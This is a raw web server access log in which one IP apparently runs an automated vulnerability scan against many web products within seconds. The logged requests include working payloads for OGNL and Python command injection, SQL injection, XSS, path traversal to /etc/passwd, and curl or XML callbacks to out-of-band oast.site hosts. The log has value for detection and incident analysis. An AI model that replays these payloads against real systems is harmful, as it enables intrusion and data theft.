[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f20224d7a677751336870656d787a4f453952646c51354e446c36554864365954643053554d3222207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lib/crud/userprocess.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login?to=/92874%27;alert(document.domain)//280 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?s=%3Cimg%20src%3Dx%20onerror%3Dalert%28123%29%3B%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 317
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/experimental/latest_runs HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=0)%20--%20- HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/ViewUserHover.jspa HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Devices-Config.php?sta=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search/ HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/acf/v3/options/a?id=active&field=plugins HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /context.json HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3Ephcq.txt HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/QueryComponent!Default.jspa HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /analytics/saw.dll?bieehome&startPage=1 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/admin/config HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/index.php?step=database_config&db_error=<img%20src=x%20onerror=alert(document.domain)%20/> HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apisix/admin/routes HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /newVersion?callback=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5('999999'),0x7e),1)--++ HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /badging/badge_print_v0.php?tpl=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_async/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?cda'\"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /forgot_password.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mifs/.;/services/LogService HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/ajax_common.php?act=hotword&query=aa%%e9%8c%a6%27%20union%20select%201,md5(999999999),3%23%27 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/ajax_street.php?act=alphabet&x=11%ef%bf%bd%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5(999999999),9%20from%20qs_admin HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5(999999999),9%23 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_404_/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.htm?type=requests HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmd/index.php?pma_servername=d5g6sfahausljekepl20m9xf8kgwhb48u.oast.site&pma_username=380CyIL8a34ZFflWCpxgP8yHYLB&pma_password=380CyIL8a34ZFflWCpxgP8yHYLB&server=1 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/ajax_officebuilding.php?act=key&key=%e9%8c%a6%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5(999999999),5,6,7,8,9%23 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /objects/getSpiritsFromVideo.php?base64Url=YGlkID4gY3lpd3AudHh0YA===&format=jpg HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/live_api.cgi?page=u18&id=1&ip=;id; HTTP/1.1" 199
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://d5g6sfahausljekepl20ye9mp4gsjtgf5.oast.site') HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/380Cy1sdfllRP3elB76vv1F13Xy.txt HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1 HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?url=http://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wp-file-manager-pro/fm_backup/ HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /find_v2/_click?_t_id&_t_q&_t_hit.id&_t_redirect=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script> HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /carbon/generic/save_artifact_ajaxprocessor.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/system_log.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/check_user?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/getuser?index=0 HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /CuteSoft_Client/CuteEditor/Template.aspx?Referrer=XSS\";><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /assets/_core/php/profile.php HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /infusions/downloads/downloads.php?cat_id=${system(ls)} HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bitrix/components/bitrix/mobileapp.list/ajax.php/?AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wlmeng/../../../../../../../../../../../etc/passwd%00index.htm HTTP/1.1" 226
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1" 196
[09/Jan/2026:10:51:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /module/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.. HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/system_mgr.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/contact-form-7/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /v1/kv/380CyIAIUFWIVOPFqWPK2ZYh4lq HTTP/1.1" 220
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/config HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /os/mxperson HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /whoAmI/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fuel/login/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/makecvs.php?Event=%60curl+http%3a//d5g6sfahausljekepl20jc38fdbqg3fsx.oast.site+-H+'User-Agent%3a+A4YCqt'%60 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/admin/common/clearcache?previousUrl=http://www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pme/media/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/settings/values HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /searchblox/servlet/FileServlet?col=9&url=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tos/index.php?user/login HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy7iK2rxlrFEfpVp6bJZXCfu?cmd=id HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_next/static/../server/pages-manifest.json HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?option=comgmapfp&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/realms/master/clients-registrations/default/security-admin-console HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/phcq.txt HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Items/RemoteSearch/Image?ProviderName=TheMovieDB&ImageURL=http://notburpcollaborator.net HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /var HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dfsms/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/canto/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /assets/php/upload.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample HTTP/1.1" 196
